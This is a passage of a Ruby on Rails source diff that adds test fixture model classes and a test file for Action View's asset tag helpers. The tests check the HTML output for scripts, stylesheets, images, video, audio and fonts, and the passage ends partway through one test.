+class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ extend ActiveModel::Translation
+
+ alias_method :secret?, :secret
+ alias_method :persisted?, :persisted
+
+ def initialize(*args)
+ super
+ @persisted = false
+ end
+
+ attr_accessor :author
+ def author_attributes=(attributes); end
+
+ attr_accessor :comments, :comment_ids
+ def comments_attributes=(attributes); end
+
+ attr_accessor :tags
+ def tags_attributes=(attributes); end
+end
+
+class Comment
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :post_id
+ def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @post_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id.to_s; end
+ def name
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+
+ attr_accessor :relevances
+ def relevances_attributes=(attributes); end
+
+ attr_accessor :body
+end
+
+class Tag
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :post_id
+ def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @post_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+
+ attr_accessor :relevances
+ def relevances_attributes=(attributes); end
+
+end
+
+class CommentRelevance
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :comment_id
+ def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @comment_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+end
+
+class Sheep
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ def to_key; id ? [id] : nil end
+ def save; @id = 1 end
+ def new_record?; @id.nil? end
+ def name
+ @id.nil? ? 'new sheep' : "sheep ##{@id}"
+ end
+end
+
+class TagRelevance
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_reader :id
+ attr_reader :tag_id
+ def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
+ def to_key; id ? [id] : nil end
+ def save; @id = 1; @tag_id = 1 end
+ def persisted?; @id.present? end
+ def to_param; @id; end
+ def value
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+ end
+end
+
+class Author < Comment
+ attr_accessor :post
+ def post_attributes=(attributes); end
+end
+
+class HashBackedAuthor < Hash
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?; false; end
+
+ def name
+ "hash backed author"
+ end
+end
+
+module Blog
+ def self.use_relative_model_naming?
+ true
+ end
+
+ class Post < Struct.new(:title, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ id.present?
+ end
+ end
+end
+
+class ArelLike
+ def to_ary
+ true
+ end
+ def each
+ a = Array.new(2) { |id| Comment.new(id + 1) }
+ a.each { |i| yield i }
+ end
+end
+
+class Car < Struct.new(:color)
+end
diff --git a/actionpack/test/template/active_model_helper_test.rb b/actionview/test/template/active_model_helper_test.rb
index 86bccdfade..86bccdfade 100644
--- a/actionpack/test/template/active_model_helper_test.rb
+++ b/actionview/test/template/active_model_helper_test.rb
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
new file mode 100644
index 0000000000..dac1c7024d
--- /dev/null
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -0,0 +1,796 @@
+require 'zlib'
+require 'abstract_unit'
+require 'active_support/ordered_options'
+
+class AssetTagHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetTagHelper
+
+ attr_reader :request
+
+ def setup
+ super
+
+ @controller = BasicController.new
+
+ @request = Class.new do
+ attr_accessor :script_name
+ def protocol() 'http://' end
+ def ssl?() false end
+ def host_with_port() 'localhost' end
+ def base_url() 'http://www.example.com' end
+ end.new
+
+ @controller.request = @request
+ end
+
+ def url_for(*args)
+ "http://www.example.com"
+ end
+
+ AssetPathToTag = {
+ %(asset_path("foo")) => %(/foo),
+ %(asset_path("style.css")) => %(/style.css),
+ %(asset_path("xmlhr.js")) => %(/xmlhr.js),
+ %(asset_path("xml.png")) => %(/xml.png),
+ %(asset_path("dir/xml.png")) => %(/dir/xml.png),
+ %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
+
+ %(asset_path("script.min")) => %(/script.min),
+ %(asset_path("script.min.js")) => %(/script.min.js),
+ %(asset_path("style.min")) => %(/style.min),
+ %(asset_path("style.min.css")) => %(/style.min.css),
+
+ %(asset_path("http://www.outside.com/image.jpg")) => %(http://www.outside.com/image.jpg),
+ %(asset_path("HTTP://www.outside.com/image.jpg")) => %(HTTP://www.outside.com/image.jpg),
+
+ %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
+ %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
+ %(asset_path("xml.png", type: :image)) => %(/images/xml.png)
+ }
+
+ AutoDiscoveryToTag = {
+ %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+ %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+ %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
+ %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
+ %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
+ %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
+ }
+
+ JavascriptPathToTag = {
+ %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
+ %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+ %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
+ %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
+ %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
+
+ %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
+ %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
+ %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
+ %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
+ }
+
+ PathToJavascriptToTag = {
+ %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
+ %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+ %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
+ }
+
+ JavascriptUrlToTag = {
+ %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+ %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+ %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+ }
+
+ UrlToJavascriptToTag = {
+ %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+ %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+ %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+ }
+
+ JavascriptIncludeToTag = {
+ %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
+ %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
+ %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
+
+ %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
+ %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
+ %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
+ }
+
+ StylePathToTag = {
+ %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
+ %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
+ %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
+ %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
+ %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
+ %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
+ }
+
+ PathToStyleToTag = {
+ %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
+ %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
+ %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
+ %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
+ %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
+ }
+
+ StyleUrlToTag = {
+ %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
+ %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
+ %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
+ %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
+ }
+
+ UrlToStyleToTag = {
+ %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
+ %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
+ %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
+ %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
+ %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
+ }
+
+ StyleLinkToTag = {
+ %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
+
+ %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+ %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+ }
+
+ ImagePathToTag = {
+ %(image_path("xml")) => %(/images/xml),
+ %(image_path("xml.png")) => %(/images/xml.png),
+ %(image_path("dir/xml.png")) => %(/images/dir/xml.png),
+ %(image_path("/dir/xml.png")) => %(/dir/xml.png)
+ }
+
+ PathToImageToTag = {
+ %(path_to_image("xml")) => %(/images/xml),
+ %(path_to_image("xml.png")) => %(/images/xml.png),
+ %(path_to_image("dir/xml.png")) => %(/images/dir/xml.png),
+ %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
+ }
+
+ ImageUrlToTag = {
+ %(image_url("xml")) => %(http://www.example.com/images/xml),
+ %(image_url("xml.png")) => %(http://www.example.com/images/xml.png),
+ %(image_url("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
+ %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+ }
+
+ UrlToImageToTag = {
+ %(url_to_image("xml")) => %(http://www.example.com/images/xml),
+ %(url_to_image("xml.png")) => %(http://www.example.com/images/xml.png),
+ %(url_to_image("dir/xml.png")) => %(http://www.example.com/images/dir/xml.png),
+ %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+ }
+
+ ImageLinkToTag = {
+ %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
+ %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+ %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
+ %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+ %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+ %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
+ %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
+ %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
+ %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
+ %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
+ %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+ %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
+ %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
+ %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
+ %(image_tag("")) => %(<img src="" />)
+ }
+
+ FaviconLinkToTag = {
+ %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+ %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+ %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/x-icon" />),
+ %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
+ %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
+ }
+
+ VideoPathToTag = {
+ %(video_path("xml")) => %(/videos/xml),
+ %(video_path("xml.ogg")) => %(/videos/xml.ogg),
+ %(video_path("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
+ %(video_path("/dir/xml.ogg")) => %(/dir/xml.ogg)
+ }
+
+ PathToVideoToTag = {
+ %(path_to_video("xml")) => %(/videos/xml),
+ %(path_to_video("xml.ogg")) => %(/videos/xml.ogg),
+ %(path_to_video("dir/xml.ogg")) => %(/videos/dir/xml.ogg),
+ %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
+ }
+
+ VideoUrlToTag = {
+ %(video_url("xml")) => %(http://www.example.com/videos/xml),
+ %(video_url("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
+ %(video_url("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
+ %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+ }
+
+ UrlToVideoToTag = {
+ %(url_to_video("xml")) => %(http://www.example.com/videos/xml),
+ %(url_to_video("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
+ %(url_to_video("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
+ %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+ }
+
+ VideoLinkToTag = {
+ %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
+ %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
+ %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
+ %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
+ %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+ %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
+ %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
+ %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+ %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+ %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+ %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+ %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
+ }
+
+ AudioPathToTag = {
+ %(audio_path("xml")) => %(/audios/xml),
+ %(audio_path("xml.wav")) => %(/audios/xml.wav),
+ %(audio_path("dir/xml.wav")) => %(/audios/dir/xml.wav),
+ %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
+ }
+
+ PathToAudioToTag = {
+ %(path_to_audio("xml")) => %(/audios/xml),
+ %(path_to_audio("xml.wav")) => %(/audios/xml.wav),
+ %(path_to_audio("dir/xml.wav")) => %(/audios/dir/xml.wav),
+ %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
+ }
+
+ AudioUrlToTag = {
+ %(audio_url("xml")) => %(http://www.example.com/audios/xml),
+ %(audio_url("xml.wav")) => %(http://www.example.com/audios/xml.wav),
+ %(audio_url("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
+ %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+ }
+
+ UrlToAudioToTag = {
+ %(url_to_audio("xml")) => %(http://www.example.com/audios/xml),
+ %(url_to_audio("xml.wav")) => %(http://www.example.com/audios/xml.wav),
+ %(url_to_audio("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
+ %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+ }
+
+ AudioLinkToTag = {
+ %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
+ %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
+ %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+ %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+ %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+ %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+ %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
+ }
+
+ FontPathToTag = {
+ %(font_path("font.eot")) => %(/fonts/font.eot),
+ %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
+ %(font_path("font.woff")) => %(/fonts/font.woff),
+ %(font_path("font.ttf")) => %(/fonts/font.ttf),
+ %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
+ }
+
+ def test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key
+ assert_raise(ArgumentError) do
+ auto_discovery_link_tag(:xml)
+ end
+ end
+
+ def test_autodiscovery_link_tag_with_unknown_type
+ result = auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')
+ expected = %(<link href="/feed.xml" rel="alternate" title="XML" type="application/xml" />)
+ assert_dom_equal expected, result
+ end
+
+ def test_asset_path_tag
+ AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_asset_path_tag_to_not_create_duplicate_slashes
+ @controller.config.asset_host = "host/"
+ assert_dom_equal('http://host/foo', asset_path("foo"))
+
+ @controller.config.relative_url_root = '/some/root/'
+ assert_dom_equal('http://host/some/root/foo', asset_path("foo"))
+ end
+
+ def test_compute_asset_public_path
+ assert_equal "/robots.txt", compute_asset_path("robots.txt")
+ assert_equal "/robots.txt", compute_asset_path("/robots.txt")
+ assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", :type => :javascript)
+ assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", :type => :javascript)
+ assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", :type => :stylesheet)
+ end
+
+ def test_auto_discovery_link_tag
+ AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_path
+ JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_javascript_alias_for_javascript_path
+ PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_url
+ JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_javascript_alias_for_javascript_url
+ UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_include_tag
+ JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_include_tag_with_missing_source
+ assert_nothing_raised {
+ javascript_include_tag('missing_security_guard')
+ }
+
+ assert_nothing_raised {
+ javascript_include_tag('http://example.com/css/missing_security_guard')
+ }
+ end
+
+ def test_javascript_include_tag_is_html_safe
+ assert javascript_include_tag("prototype").html_safe?
+ end
+
+ def test_javascript_include_tag_relative_protocol
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype', protocol: :relative)
+ end
+
+ def test_javascript_include_tag_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :relative
+ assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype')
+ end
+
+ def test_stylesheet_path
+ StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_stylesheet_alias_for_stylesheet_path
+ PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_url
+ StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_stylesheet_alias_for_stylesheet_url
+ UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_link_tag
+ StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_link_tag_with_missing_source
+ assert_nothing_raised {
+ stylesheet_link_tag('missing_security_guard')
+ }
+
+ assert_nothing_raised {
+ stylesheet_link_tag('http://example.com/css/missing_security_guard')
+ }
+ end
+
+ def test_stylesheet_link_tag_is_html_safe
+ assert stylesheet_link_tag('dir/file').html_safe?
+ assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
+ end
+
+ def test_stylesheet_link_tag_escapes_options
+ assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
+ end
+
+ def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
+ assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
+ end
+
+ def test_stylesheet_link_tag_with_relative_protocol
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', protocol: :relative)
+ end
+
+ def test_stylesheet_link_tag_with_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :relative
+ assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington')
+ end
+
+ def test_image_path
+ ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_image_alias_for_image_path
+ PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_url
+ ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_image_alias_for_image_url
+ UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_alt
+ [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
+ assert_equal 'Rails', image_alt("#{prefix}rails.png")
+ assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
+ assert_equal 'Long file name with hyphens', image_alt("#{prefix}long-file-name-with-hyphens.png")
+ assert_equal 'Long file name with underscores', image_alt("#{prefix}long_file_name_with_underscores.png")
+ end
+ end
+
+ def test_image_tag
+ ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_tag_does_not_modify_options
+ options = {:size => '16x10'}
+ image_tag('icon', options)
+ assert_equal({:size => '16x10'}, options)
+ end
+
+ def test_favicon_link_tag
+ FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_path
+ VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_video_alias_for_video_path
+ PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_url
+ VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_video_alias_for_video_url
+ UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_tag
+ VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_path
+ AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_audio_alias_for_audio_path
+ PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_url
+ AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_audio_alias_for_audio_url
+ UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_tag
+ AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_font_path
+ FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_audio_tag_does_not_modify_options
+ options = {:autoplay => true}
+ video_tag('video', options)
+ assert_equal({:autoplay => true}, options)
+ audio_tag('audio', options)
+ assert_equal({:autoplay => true}, options)
+ end
+
+ def test_image_tag_interpreting_email_cid_correctly
+ # An inline image has no need for an alt tag to be automatically generated from the cid:
+ assert_equal '<img src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid")
+ end
+
+ def test_image_tag_interpreting_email_adding_optional_alt_tag
+ assert_equal '<img alt="Image" src="cid:thi%25%25sis@acontentid" />', image_tag("cid:thi%25%25sis@acontentid", :alt => "Image")
+ end
+
+ def test_should_not_modify_source_string
+ source = '/images/rails.png'
